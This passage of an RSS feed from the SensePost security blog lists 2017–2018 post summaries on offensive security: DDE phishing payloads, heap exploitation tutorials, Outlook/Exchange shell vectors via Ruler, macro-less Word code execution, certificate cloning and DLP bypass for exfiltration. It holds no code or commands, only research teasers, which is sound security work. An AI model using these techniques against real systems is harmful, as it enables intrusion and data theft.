				<link>https://sensepost.com/blog/2018/5-min-security-popular-phishing-techniques-in-2017/2018/</link>
				<pubDate>Thu, 25 Jan 2018 09:37:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2018/5-min-security-popular-phishing-techniques-in-2017/2018/</guid>
				<description>&lt;p&gt;This article is for non-technical people who want to keep themselves and their companies safe from realistic threats. Short and sweet.&lt;/p&gt;&#xA;&lt;p&gt;In 2017 we saw a number of phishing techniques used successfully. This was largely due to the release of a handful of highly effective methods which are still being used. In this article we&amp;#8217;ll cover what these are.&lt;/p&gt;&#xA;&lt;h3&gt;Dynamic Data Exchange (DDE) Payloads &amp;#8211; CVE-2017-0199 / CVE-2017-8759&lt;/h3&gt;&#xA;&lt;p&gt;A technique that results in remote access without the use of macros. DDE is a protocol in MS Office products which allows applications to share data between each other. Some functions provided by this protocol allow the execution of commands, which can be abused by attackers to download malware.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Linux Heap Exploitation Intro Series: Riding free on the heap – Double free attacks!</title>
				<link>https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-riding-free-on-the-heap-double-free-attacks/</link>
				<pubDate>Fri, 22 Dec 2017 07:00:23 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-riding-free-on-the-heap-double-free-attacks/</guid>
				<description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Intro&lt;/h1&gt;&#xA;&lt;p&gt;Hello again and welcome to the third of our series. On today&amp;#8217;s blog post we are going to see what is and how can we abuse a double &lt;strong&gt;free()&lt;/strong&gt;. We are also going to take advantage of leaks that happen when doing double &lt;strong&gt;free()&lt;/strong&gt;&amp;#8216;s and see some examples of code execution using said leaks &amp;#8211; we are making our execution ride on frees!&lt;/p&gt;&#xA;&lt;p&gt;As a last note, we are going to step things up a notch in this blog post and we are going to be using &lt;a href=&#34;https://www.gnu.org/software/gdb/&#34; rel=&#34;noopener noreferrer&#34; target=&#34;_blank&#34;&gt;gdb&lt;/a&gt; as it will be crucial from now on. Sadly, ascii art doesn&amp;#8217;t cut it anymore.&lt;/p&gt;</description>
			</item>
			<item>
				<title>building the bsidescpt17 rfchallenge</title>
				<link>https://sensepost.com/blog/2017/building-the-bsidescpt17-rfchallenge/</link>
				<pubDate>Wed, 13 Dec 2017 11:14:48 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/building-the-bsidescpt17-rfchallenge/</guid>
				<description>&lt;p&gt;In this post I want to talk a little about the &lt;a href=&#34;http://www.bsidescapetown.co.za/photos-2017/&#34;&gt;BSides Cape Town 17&lt;/a&gt; RFCat challenge and how I went about trying to build a challenge for it. Unfortunately I was not able to able to attend the con itself, but still had the privilege to contribute in some way!&lt;/p&gt;&#xA;&lt;p&gt;The first question you may have could be: &amp;#8220;But why RFCat?&amp;#8221;. Truthfully, some people that are way better at this hacking thing than me (and that were also primarily responsible for this years BSides badge hardware) came up with this idea: &amp;#8220;Wouldn&amp;#8217;t it be cool to have a cc1111 chip on the badges?&amp;#8221;. The cc1111 chip is RFCat compatible, so naturally this would be the goto firmware to use for the chip. With this in mind, I got invited by &lt;a href=&#34;https://twitter.com/elasticninja&#34;&gt;@elasticninja&lt;/a&gt; to see if I would be interested in building an RFCat based challenge and without hesitation agreed! So there we were.&lt;/p&gt;</description>
			</item>
			<item>
				<title>gowitness – a new tool for an old idea</title>
				<link>https://sensepost.com/blog/2017/gowitness-a-new-tool-for-an-old-idea/</link>
				<pubDate>Mon, 27 Nov 2017 10:45:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/gowitness-a-new-tool-for-an-old-idea/</guid>
				<description>&lt;p&gt;On a recent assessment I had an incredibly large IP space that was in scope. Almost an entire /8 to be precise. While it is possible to scan ranges like that with things like masscan, nmap and the likes, I was interested in web interfaces for this particular client as I quickly came to realise that they had a large amount of third party web services exposed with default login credentials left unchanged. Nessus would tell me that &amp;#8220;there is a web interface running there&amp;#8221;, but I wanted more in terms of what is running.&lt;/p&gt;</description>
			</item>
			<item>
				<title>A distinguisher for SHA256 using Bitcoin (mining faster along the way)</title>
				<link>https://sensepost.com/blog/2017/a-distinguisher-for-sha256-using-bitcoin-mining-faster-along-the-way/</link>
				<pubDate>Mon, 16 Oct 2017 12:50:42 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/a-distinguisher-for-sha256-using-bitcoin-mining-faster-along-the-way/</guid>
				<description>&lt;p&gt;This post assumes a passing familiarity with what a &lt;a href=&#34;https://en.wikipedia.org/wiki/Distinguishing_attack&#34;&gt;Distinguishing Attack&lt;/a&gt; on a cryptographic hash is, as well as the high level composition of Bitcoin &lt;a href=&#34;https://en.bitcoin.it/wiki/Block_hashing_algorithm&#34;&gt;block headers&lt;/a&gt; and &lt;a href=&#34;http://www.righto.com/2014/02/bitcoin-mining-hard-way-algorithms.html&#34;&gt;mining&lt;/a&gt; them.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;tldr:&lt;/em&gt;&lt;br /&gt;&#xA;&lt;em&gt; To distinguish between an ideal random permutation hash and SHA256, hash a large amount (~2^80) of candidate 1024 bit blocks twice, as done in Bitcoin. Ensure that the bits of the candidate blocks are sparsely set (much fewer than the 512 mean expected), according to the Bitcoin protocol, discarding candidate blocks that do not meet the Bitcoin &amp;#8220;difficulty&amp;#8221; standard (where the resultant hashes start with a the large number of 0’s). With the remaining set of valid input candidates (467369 when this analysis was done), observe a particular set of 32 bits in the input block (located where Bitcoin has the nonce, input bits 607-639). Note that the mean number of bits set in the nonce field is skewed to the left, i.e. fewer than the expected value of 16 bits set (estimated mean 15.428).&lt;/em&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Outlook Home Page – Another Ruler Vector</title>
				<link>https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/</link>
				<pubDate>Wed, 11 Oct 2017 07:34:14 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://github.com/sensepost/ruler&#34;&gt;Ruler&lt;/a&gt; has become a go to tool for us on external engagements, easily turning compromised mailbox credentials into shells. This has resulted in security being pushed forward and Microsoft responding with patches for the two vectors used in Ruler, namely rules and forms. These were patched with &lt;span&gt;&lt;a href=&#34;https://support.microsoft.com/en-us/help/3191938/descriptionofthesecurityupdateforoutlook2013june13-2017&#34;&gt;KB3191938&lt;/a&gt; and &lt;a href=&#34;https://support.office.com/en-us/article/Custom-form-script-is-now-disabled-by-default-bd8ea308-733f-4728-bfcc-d7cce0120e94&#34;&gt;KB4011091&lt;/a&gt; respectively. &lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;This puts us back into the cat and mouse game of attack versus defence, with attack needing to find a new vector. Turns out the rules of three holds true, and where two vulnerabilities lurk, a third surely exists.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Macro-less Code Exec in MSWord</title>
				<link>https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/</link>
				<pubDate>Mon, 09 Oct 2017 14:02:13 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/</guid>
				<description>&lt;p&gt;Authors: Etienne Stalmans, Saif El-Sherei&lt;/p&gt;&#xA;&lt;p&gt;What if we told you that there is a way to get command execution on MSWord without any Macros, or memory corruption?!&lt;/p&gt;&#xA;&lt;blockquote&gt;&lt;p&gt;Windows provides several methods for transferring data between applications. One method is to use the Dynamic Data Exchange (DDE) protocol. The DDE protocol is a set of messages and guidelines. It sends messages between applications that share data and uses shared memory to exchange data between applications. Applications can use the DDE protocol for one-time data transfers and for continuous exchanges in which applications send updates to one another as new data becomes available.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Recreating certificates using Apostille</title>
				<link>https://sensepost.com/blog/2017/recreating-certificates-using-apostille/</link>
				<pubDate>Fri, 06 Oct 2017 05:27:29 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/recreating-certificates-using-apostille/</guid>
				<description>&lt;p&gt;Sometimes on an engagement, you&amp;#8217;d like to construct a believable certificate chain, that you have the matching private keys for. An example might be that a mobile app is doing cert pinning, based on attributes of the signing certificate, such as the Canonical Name (CN), serial number, or Issuer, or that you are intercepting an embedded app that only supports a particular algorithm. Whatever the reason, it&amp;#8217;s a fairly complicated process if you are not familiar with X509 certificates. And trying to kludge it together with OpenSSL and some shell scripts under time constraints will only make you tear your hair out! While Metasploit can do some of this, it only &lt;a href=&#34;https://www.rapid7.com/db/modules/auxiliary/gather/impersonate_ssl&#34;&gt;clones a single certificate and self-signs it&lt;/a&gt;, rather than cloning the entire chain. If you need more than that, keep reading!&lt;/p&gt;</description>
			</item>
			<item>
				<title>NotRuler – Turning Offence into Defence</title>
				<link>https://sensepost.com/blog/2017/notruler-turning-offence-into-defence/</link>
				<pubDate>Mon, 02 Oct 2017 08:26:00 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/notruler-turning-offence-into-defence/</guid>
				<description>&lt;p&gt;We&amp;#8217;ve spent a lot of time creating &lt;a href=&#34;https://github.com/sensepost/ruler&#34;&gt;Ruler&lt;/a&gt; and turning it into, what we think, is a useful attack tool. The goal behind the project was to highlight the command execution potential around weak credentials when combined with Exchange and Microsoft Outlook. That goal has largely been met, with the ability to now demonstrate that compromising user credentials can be much more than &amp;#8220;just&amp;#8221; reading email. Microsoft has also been great in their response to the issue, with both &lt;a href=&#34;https://support.microsoft.com/en-us/help/3191893/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro&#34;&gt;client-side rules&lt;/a&gt; and &lt;a href=&#34;https://support.office.com/en-us/article/Custom-form-script-is-now-disabled-by-default-bd8ea308-733f-4728-bfcc-d7cce0120e94&#34;&gt;forms&lt;/a&gt; having been effectively mitigated  through patches to Outlook.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Linux Heap Exploitation Intro Series: The magicians cape – 1 Byte Overflow</title>
				<link>https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-the-magicians-cape-1-byte-overflow/</link>
				<pubDate>Wed, 20 Sep 2017 13:27:18 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-the-magicians-cape-1-byte-overflow/</guid>
				<description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Intro&lt;/h1&gt;&#xA;&lt;p&gt;Hello again! It&amp;#8217;s been a while since &lt;a href=&#34;https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-used-and-abused-use-after-free/&#34;&gt;the last blog post&lt;/a&gt;. This is due to not having as much time as we wanted but hopefully you all kept the pace with this heapy things as they are easy to forget due to the heavy amount of little details the heap involves.&lt;/p&gt;&#xA;&lt;p&gt;On this post we are going to demonstrate how a single byte overflow, with a user controlled value, can cause chunks to disappear for the implementation like a magician puts a cape on top of objects (chunks) and makes them disappear.&lt;/p&gt;</description>
			</item>
			<item>
				<title>DEEP INSERT – Card Skimmer Research</title>
				<link>https://sensepost.com/blog/2017/deep-insert-card-skimmer-research/</link>
				<pubDate>Wed, 02 Aug 2017 10:27:18 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/deep-insert-card-skimmer-research/</guid>
				<description>&lt;p&gt;So I get a phone call from Daniel on a Wednesday night,&lt;/p&gt;&#xA;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Stu, can you bring your hardware stuff with you tomorrow, I&amp;#8217;ve been given a card skimmer that i want us to see what we can get from it.&lt;/em&gt;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;So I get my bag ready with the hardware tools i have, RS232 to USB UART adapter, Saelea 8 Channel Logic Analyser, and numerous other components.&lt;/p&gt;&#xA;&lt;p&gt;Thursday comes round and I&amp;#8217;m eager to see what device Daniel has, he gives me it and says &amp;#8220;gimme 10, then we will sit down and see what we can get&amp;#8221;, I waited 1-second and tore into this thing!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Abusing GDI Objects for ring0 Primitives Revolution</title>
				<link>https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/</link>
				<pubDate>Sat, 29 Jul 2017 14:41:50 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/abusing-gdi-objects-for-ring0-primitives-revolution/</guid>
				<description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Exploiting MS17-017 EoP Using Color Palettes&lt;/h1&gt;&#xA;&lt;p&gt;This post is an accompaniment to the &lt;a href=&#34;https://www.defcon.org/html/defcon-25/dc-25-speakers.html#El-Sherei&#34;&gt;Defcon 25 talk given by Saif&lt;/a&gt;. One of the core topics of the talk was the release of a new technique GDI object abuse technique, name Palette Objects. Saif presented a previously unreleased Windows 7 SP1 x86 exploit involving the abuse of a newly discovered GDI object abuse technique.&lt;/p&gt;&#xA;&lt;p&gt;A complete white-paper on the topic was released and can be found here: &lt;a href=&#34;https://github.com/sensepost/gdi-palettes-exp/raw/master/5A1F_Defcon_25_Demystifying_Kernel_Exploitation_By_Abusing_GDI_Objects_white_paper.pdf&#34;&gt;Whitepaper&lt;/a&gt;&lt;/p&gt;</description>
			</item>
			<item>
				<title>Linux Heap Exploitation Intro Series: Used and Abused – Use After Free</title>
				<link>https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-used-and-abused-use-after-free/</link>
				<pubDate>Fri, 28 Jul 2017 15:27:30 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-used-and-abused-use-after-free/</guid>
				<description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Intro&lt;/h1&gt;&#xA;&lt;p&gt;After &lt;a href=&#34;https://sensepost.com/blog/2017/painless-intro-to-the-linux-userland-heap/&#34; rel=&#34;noopener noreferrer&#34; target=&#34;_blank&#34;&gt;analysing the implementation of ptmalloc2&lt;/a&gt; which, &lt;strong&gt;is a must read if you don&amp;#8217;t know anything about the linux userland heap&lt;/strong&gt;, I decided that for the second part of it, I would approach it as in a series of blog posts. Why? You might ask. Well it is easy for someone to tackle a problem in bite sized &amp;#8220;chunks&amp;#8221;. Understanding the heaps can be difficult and each of the techniques to be described in this series takes a decent amount of time to learn, understand and practice. Also, it is easier to find 15 minutes in a day rather than a few hours in a day. Also &amp;#8211; hack the system.&lt;/p&gt;</description>
			</item>
			<item>
				<title>A new colour scheme</title>
				<link>https://sensepost.com/blog/2017/a-new-colour-scheme/</link>
				<pubDate>Fri, 28 Jul 2017 09:37:32 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/a-new-colour-scheme/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2017/a-new-colour-scheme/0ee4c41a82c048dec39f924ddf378b65.png&#34; rel=&#34;attachment wp-att-19613&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;207&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2017/a-new-colour-scheme/0ee4c41a82c048dec39f924ddf378b65.png&#34; width=&#34;300&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;SensePost has been hacking for 17 years and the time has come for a branding change.&lt;/p&gt;&#xA;&lt;p&gt;The change in logo is related to the acquisition of SensePost 3 years ago by &lt;a href=&#34;https://www.secdata.com/&#34;&gt;SecureData Europe Ltd&lt;/a&gt;. Daily operations at SensePost have been, and continue to be, largely unaffected by the acquisition. The investment has let us do things we otherwise wouldn’t have been able to, such as significantly expanding our training portfolio, building a dedicated internal academy, giving us access to whole new markets, and expanding our managed services capability. It shows too, our growth, results, research, and quality of work have never been better.&lt;/p&gt;</description>
			</item>
			<item>
				<title>objection – mobile runtime exploration</title>
				<link>https://sensepost.com/blog/2017/objection-mobile-runtime-exploration/</link>
				<pubDate>Tue, 11 Jul 2017 12:39:55 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/objection-mobile-runtime-exploration/</guid>
				<description>&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2017/objection-mobile-runtime-exploration/7136ca5ecc0b95a11f95d455f344e577.png&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;294&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2017/objection-mobile-runtime-exploration/7136ca5ecc0b95a11f95d455f344e577.png&#34; width=&#34;664&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h2&gt;introduction&lt;/h2&gt;&#xA;&lt;p&gt;In this post, I want to introduce you to a toolkit that I have been working on, called objection. The name being a play on the words &amp;#8220;object&amp;#8221; and &amp;#8220;injection&amp;#8221;. objection is a runtime exploration toolkit powered by Frida, aimed at mobile platforms. iOS only for now, objection aims to allow you to perform various security related tasks on unencrypted iOS applications, at runtime, on non-jailbroken iOS devices. Features include inspecting the application specific keychain, as well as inspecting various artifacts left on disk during (or after) execution.&lt;/p&gt;</description>
			</item>
			<item>
				<title>SensePost at BlackHat &amp; Defcon 2017</title>
				<link>https://sensepost.com/blog/2017/sensepost-at-blackhat-defcon-2017/</link>
				<pubDate>Mon, 26 Jun 2017 11:05:08 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/sensepost-at-blackhat-defcon-2017/</guid>
				<description>&lt;p&gt;July is our favourite time of year, when thousands descend into Las Vegas for Blackhat/Defcon, or more commonly referred to as &amp;#8216;Hacker Summer Camp&amp;#8217;. This year, our camp councillors have been working hard to bring you all our latest creations.&lt;/p&gt;&#xA;&lt;h1&gt;BlackHat Training&lt;/h1&gt;&#xA;&lt;p&gt;We&amp;#8217;re running our usual training at BlackHat, and as usual have been working hard to build new courses and update others. Here&amp;#8217;s a list:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.blackhat.com/us-17/training/black-ops-hacking-for-pentesters-master-level.html&#34;&gt;BLACK OPS HACKING FOR PENTESTERS &amp;#8211; MASTER LEVEL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.blackhat.com/us-17/training/pentesting-enterprise-infrastructure-journeyman-level.html&#34;&gt;PENTESTING ENTERPRISE INFRASTRUCTURE &amp;#8211; JOURNEYMAN LEVEL&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.blackhat.com/us-17/training/secdevops-injecting-security-into-devops.html&#34;&gt;SECDEVOPS: INJECTING SECURITY INTO DEVOPS&lt;/a&gt; (NEW)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://www.blackhat.com/us-17/training/tactics-techniques-and-procedures-for-hackers.html&#34;&gt;TACTICS, TECHNIQUES AND PROCEDURES FOR HACKERS&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We&amp;#8217;re pretty excited about the new SecDevOps course, which reflects what we&amp;#8217;ve learned about transitioning old-style project pentesting into an agile world.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Fuzzing Apache httpd server with American Fuzzy Lop &#43; persistent mode</title>
				<link>https://sensepost.com/blog/2017/fuzzing-apache-httpd-server-with-american-fuzzy-lop--persistent-mode/</link>
				<pubDate>Tue, 20 Jun 2017 12:41:36 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/fuzzing-apache-httpd-server-with-american-fuzzy-lop--persistent-mode/</guid>
				<description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Intro&lt;/h1&gt;&#xA;&lt;p&gt;Recently, I reported &lt;a href=&#34;https://lists.apache.org/thread.html/55a068b6a5eec0b3198ae7d96a7cb412352d0ffa7716612c5af3745b@%3Cdev.httpd.apache.org%3E&#34; rel=&#34;noopener noreferrer&#34; target=&#34;_blank&#34;&gt;CVE-2017-7668 (Apache Server buffer-over-read)&lt;/a&gt;. This is a cross-post from my &lt;a href=&#34;https://animal0day.blogspot.co.uk/2017/05/fuzzing-apache-httpd-server-with.html&#34;&gt;personal blog&lt;/a&gt; where I explain how to fuzz network programs with AFL by porting techniques learned in &lt;a href=&#34;https://github.com/google/honggfuzz&#34; rel=&#34;noopener noreferrer&#34; target=&#34;_blank&#34;&gt;honggfuzz&lt;/a&gt; into AFL. After a small chat with Dominic he asked me to re-post it here which, for me it&amp;#8217;s an honour to do so!&lt;/p&gt;&#xA;&lt;p&gt;The reported CVE was obtained with code analysis and instrumentation of the right parts of the code (mainly &lt;strong&gt;core&lt;/strong&gt; and &lt;strong&gt;parsing&lt;/strong&gt;) &amp;#8211; First, with honggfuzz I got the initial dirty test cases and then, through &lt;a href=&#34;https://github.com/aoh/radamsa&#34; rel=&#34;noopener noreferrer&#34; target=&#34;_blank&#34;&gt;radamsa&lt;/a&gt; generated a few thousands mutations and finally AFL with the technique described here.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Linux Heap Exploitation Intro Series – (BONUS) printf might be leaking!</title>
				<link>https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-bonus-printf-might-be-leaking/</link>
				<pubDate>Mon, 19 Jun 2017 13:14:59 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-bonus-printf-might-be-leaking/</guid>
				<description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Intro&lt;/h1&gt;&#xA;&lt;p&gt;Hi there (again)! This series are going to an end as the next and feasible step is the widely known buffer overflow and its analysis in the heap and, I am not too convinced about it since the unsafe unlink method is long gone. But don&amp;#8217;t be sad, today we are going for a bonus one! During the last post (&lt;a href=&#34;https://sensepost.com/blog/2017/linux-heap-exploitation-intro-series-riding-free-on-the-heap-double-free-attacks/&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;double free attacks&lt;/a&gt;) one I stumbled across some weird behaviour that caught my attention by functions of the &lt;strong&gt;vfprintf.c&lt;/strong&gt; family (for example &lt;a href=&#34;https://linux.die.net/man/3/printf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;printf&lt;/a&gt; or &lt;a href=&#34;https://linux.die.net/man/3/printf&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;puts&lt;/a&gt; functions).&lt;/p&gt;</description>
			</item>
			<item>
				<title>Pentesting Enterprise Infrastructure – Journeyman Level</title>
				<link>https://sensepost.com/blog/2017/pentesting-enterprise-infrastructure-journeyman-level/</link>
				<pubDate>Wed, 14 Jun 2017 14:56:24 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/pentesting-enterprise-infrastructure-journeyman-level/</guid>
				<description>&lt;p&gt;&lt;iframe allow=&#34;autoplay; fullscreen; picture-in-picture; clipboard-write&#34; frameborder=&#34;0&#34; height=&#34;326&#34; loading=&#34;lazy&#34; src=&#34;https://player.vimeo.com/video/221478651?dnt=1&amp;amp;app_id=122963&#34; title=&#34;Pentesting Enterprise Infrastructure - Journeyman Level&#34; width=&#34;580&#34;&gt;&lt;/iframe&gt;&lt;/p&gt;&#xA;&lt;blockquote&gt;&lt;p&gt;&lt;em&gt;Sophisticated attacks&lt;/em&gt; aim to hide from endpoint solutions&lt;br /&gt;&#xA;Advanced hacking.&lt;br /&gt;&#xA;Expert approaches&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;We are inundated by advanced this, expert that, when it comes to hacking and hacking training. When a breach occurs, the media portray it as some epic hack that mere mortals would struggle to comprehend, when in reality it&amp;#8217;s actually a run of the mill SQLi attack. Often it&amp;#8217;s not advanced, but makes use of a series of vulnerabilities chained together, using Tactics, Techniques and Procedures (TTP) often used by attackers when owning networks.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Womens Training Scholarship</title>
				<link>https://sensepost.com/blog/2017/womens-training-scholarship/</link>
				<pubDate>Thu, 25 May 2017 06:06:51 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/womens-training-scholarship/</guid>
				<description>&lt;p&gt;SensePost and BlackHat are proud to announce a new scholarship initiative for a woman in the information security field. The scholarship will include a ticket to &lt;a href=&#34;https://www.blackhat.com/us-17/&#34;&gt;Black Hat USA 2017&lt;/a&gt; in Las Vegas, complimentary access to one of our &lt;a href=&#34;https://sensepost.com/discover/events/blackhat-usa/&#34;&gt;training courses&lt;/a&gt;, airfare, and accommodation.&lt;br /&gt;&#xA;The scholarship will be awarded to a woman who demonstrates a strong desire to hone her InfoSec skills (more below).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;How To Enter?&lt;/strong&gt;&lt;br /&gt;&#xA;To enter, &lt;a href=&#34;mailto:stem@sensepost.com&#34;&gt;send us&lt;/a&gt; reasons as to why you believe *you* should attend one of our training courses and Blackhat USA. This could be in the form of an essay, examples of projects you are working on, stuff you&amp;#8217;ve built or building or generally anything you think supports your claim for a place.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Sending AM-OOK using Metasploit and rftransceiver</title>
				<link>https://sensepost.com/blog/2017/sending-am-ook-using-metasploit-and-rftransceiver/</link>
				<pubDate>Fri, 12 May 2017 06:38:59 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/sending-am-ook-using-metasploit-and-rftransceiver/</guid>
				<description>&lt;h3&gt;Introduction&lt;/h3&gt;&#xA;&lt;p&gt;Towards the end of last year, I found myself &lt;a href=&#34;https://leonjza.github.io/blog/2016/10/02/reverse-engineering-static-key-remotes-with-gnuradio-and-rfcat/&#34;&gt;playing around&lt;/a&gt; with some basic amplitude modulation (AM)/On-off keying (OOK) software defined radio. That resulted in &lt;a href=&#34;https://github.com/leonjza/ooktools&#34;&gt;ooktools&lt;/a&gt; being built to help with making some of that work easier and to help me learn. A little while ago, the Metasploit project announced new &lt;a href=&#34;https://community.rapid7.com/community/metasploit/blog/2017/03/21/metasploits-rf-transceiver-capabilities&#34;&gt;‘rftransceiver’ capabilities&lt;/a&gt; that were added to the framework with a similar goal of making this research easier.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://sensepost.com/img/pages/blog/2017/sending-am-ook-using-metasploit-and-rftransceiver/6f0c676500e3d113777ae070f415c821.jpg&#34;&gt;&lt;img alt=&#34;&#34;  height=&#34;473&#34; loading=&#34;lazy&#34; src=&#34;https://sensepost.com/img/pages/blog/2017/sending-am-ook-using-metasploit-and-rftransceiver/650af3d00f794868762d09966227b521.jpg&#34; width=&#34;840&#34; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3&gt;How things fit together&lt;/h3&gt;&#xA;&lt;p&gt;First things first. I had to try and understand how this new functionality actually works. From the Metasploit blog post, it was possible to see that the additions allowed you to communicate with a RFCat capable device from Metasploit and run modules over a session. A session is started by connecting to a small JSON API (with a python helper) that bridges HTTP requests to &lt;code&gt;rflib&lt;/code&gt; methods.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Painless intro to the Linux userland heap</title>
				<link>https://sensepost.com/blog/2017/painless-intro-to-the-linux-userland-heap/</link>
				<pubDate>Fri, 05 May 2017 08:47:37 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/painless-intro-to-the-linux-userland-heap/</guid>
				<description>&lt;p&gt;&lt;/p&gt;&#xA;&lt;h1&gt;-1 – Pre-Intro&lt;/h1&gt;&#xA;&lt;p&gt;When looking at heap exploit tutorials most of the time I found myself lacking knowledge on the actual implementation and, soon, had the urge of knowing how it&amp;#8217;s allocated and freed and why it&amp;#8217;s done that way, memory wise.&lt;/p&gt;&#xA;&lt;h2&gt;-0.9 – ptmalloc2&lt;/h2&gt;&#xA;&lt;p&gt;The best source of knowledge with regards to the implementation of the heap is itself, the source code. Do not fear it, thankfully it is widely commented!&lt;/p&gt;</description>
			</item>
			<item>
				<title>Outlook Forms and Shells</title>
				<link>https://sensepost.com/blog/2017/outlook-forms-and-shells/</link>
				<pubDate>Fri, 28 Apr 2017 15:18:09 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/outlook-forms-and-shells/</guid>
				<description>&lt;p&gt;Using MS Exchange and Outlook to get a foothold in an organisation, or to maintain persistence, has been a go to attack method for RedTeams lately. This attack has typically relied on using Outlook Rules to trigger the shell execution. Although &lt;a href=&#34;https://github.com/sensepost/ruler&#34;&gt;Ruler&lt;/a&gt; makes accomplishing this really easy, it has, up until now, required a WebDAV server to host our shell/application. In most cases this is not an issue, but once in a while you run into a restrictive network that does not allow the initial WebDAV connection to be established. In such instances, the attack sadly fails. Another downside to Outlook rules is that we are limited to only providing an application path, and no command-line arguments, meaning none of our fancy Powershell one-liners can be used.&lt;/p&gt;</description>
			</item>
			<item>
				<title>The TRITON Won’t Protect You From Our Punches</title>
				<link>https://sensepost.com/blog/2017/the-triton-wont-protect-you-from-our-punches/</link>
				<pubDate>Thu, 06 Apr 2017 08:58:16 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/the-triton-wont-protect-you-from-our-punches/</guid>
				<description>&lt;p&gt;Whilst on a Red Team assessment back in 2015, we were faced with a tough Data Leak Protection (DLP) and web content management gateway system called Forcepoint TRITON. One of the goals, besides gaining full access to the client, was to see if sensitive data could be exfiltrated from the internal network to attacker controlled servers. The first logical step was to analyse how this device functioned and identify any flaws.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Liniaal – Empire through Exchange</title>
				<link>https://sensepost.com/blog/2017/liniaal-empire-through-exchange/</link>
				<pubDate>Wed, 22 Mar 2017 09:47:30 +0000</pubDate>
				<guid>https://sensepost.com/blog/2017/liniaal-empire-through-exchange/</guid>
